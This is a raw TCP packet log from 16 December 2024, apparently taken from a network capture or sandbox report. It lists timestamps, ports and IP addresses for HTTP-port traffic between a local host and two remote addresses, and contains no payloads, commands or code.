Dec 16, 2024 09:01:43.442686081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.443676949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.443811893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.444854975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.444927931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.444956064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.446042061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.446142912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.446146011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.447045088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.447221994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.447295904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.447343111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.448451042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.448564053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.448659897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.449621916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.449728966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.449829102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.450817108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.450930119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.451044083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.452009916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.452104092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.453175068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.453291893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.453303099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.454320908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.454386950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.543076038 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.543116093 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.543256044 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.543261051 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.543354034 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.543380022 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.543396950 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.543435097 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.543448925 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.584187031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.584285021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.584310055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.584410906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.584723949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.584793091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.584800005 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.584892035 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.584933996 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.585939884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.586047888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.586093903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.587145090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.587224960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.587268114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.588315964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.588407040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.588418961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.589380980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.589498043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.589627981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.589896917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.590670109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.590780973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.590856075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.591871977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.591955900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.591979027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.592057943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.593074083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.593126059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.593172073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.593199968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.594264030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.594351053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.594441891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.595419884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.595489979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.596658945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.596731901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.597179890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.597179890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.598125935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.598257065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.598268032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.598331928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.599009991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.599075079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.599109888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.599301100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.600239038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.600296021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.600370884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.601521969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.601583004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.601598978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.602679014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.602740049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.602966070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.603061914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.603816032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.604003906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.604083061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.605011940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.605118990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.605210066 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.606165886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.606214046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.606267929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.606451988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.607358932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.607471943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.607547045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.608570099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.608684063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.608704090 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.608921051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.609736919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.609843016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.609846115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.609888077 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.610927105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.611022949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.611048937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.611310959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.612113953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.612219095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.612339020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.613771915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.613856077 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.613938093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.614011049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.615119934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.615195036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.615201950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.615479946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.616138935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.616216898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.616899967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.616969109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.616987944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.618071079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.618206978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.618221045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.619275093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.619348049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.619388103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.619735956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.620524883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.620596886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.620604992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.620729923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.621655941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.621722937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.621778965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.621865034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.622864008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.622922897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.623003006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.623122931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.624030113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.624145031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.624162912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.624969006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.625251055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.625346899 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.625358105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.625452042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.626451969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.626539946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.626569986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.626631021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.627636909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.627697945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.627836943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.627952099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.628824949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.628911972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.628931999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.629033089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.630033970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.630070925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.630131006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.631237030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.631316900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.631361008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.631407976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.632426023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.632535934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.632623911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.633627892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.633754969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.633790016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.634193897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.634780884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.634895086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.634900093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.634975910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.635950089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.636009932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.636068106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.636190891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.637211084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.637255907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.637352943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.637525082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.638385057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.638482094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.638556957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.638662100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.639586926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.639635086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.639764071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.639833927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.640738010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.640798092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.640873909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.641549110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.641921997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.642029047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.642108917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.643142939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.643229961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.643235922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.643320084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.644335032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.644401073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.644438028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.644501925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.645576000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.645647049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.645685911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.645859957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.646673918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.646750927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.704860926 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.704982996 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.748723984 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.748830080 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.776295900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.776448011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.776474953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.776557922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.776902914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.776998043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.777018070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.777185917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.778132915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.778212070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.778227091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.778301001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.779285908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.779361963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.779392004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.779695988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.780498981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.780590057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.780657053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.780760050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.781652927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.781728983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.781760931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.782896042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.782958984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.782969952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.783337116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.784095049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.784159899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.784248114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.785325050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.785398960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.785437107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.785511971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.786415100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.786540031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.786787987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.787614107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.787705898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.787890911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.788816929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.788919926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.788925886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.789062977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.789998055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.790116072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.790127993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.790199041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.791193962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.791362047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.791497946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.792387009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.792495966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.793576956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.793682098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.793693066 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.794763088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.794878006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.794910908 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.795300961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.795937061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.796076059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.796200037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.797143936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.797260046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.797384977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.798348904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.798568964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.798682928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.799556971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.799657106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.799860954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.800741911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.800853014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.800951004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.801947117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.802047968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.802629948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.803092003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.803220034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.803323030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.804279089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.804402113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.804464102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.805485964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.805598021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.806679964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.806790113 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.806905985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.807883978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.807943106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.808026075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.809056997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.809158087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.809176922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.809700012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.810247898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.810367107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.810507059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.811458111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.811579943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.811657906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.812649012 CET	80	49900	31.41.244.11	192.168.2.5
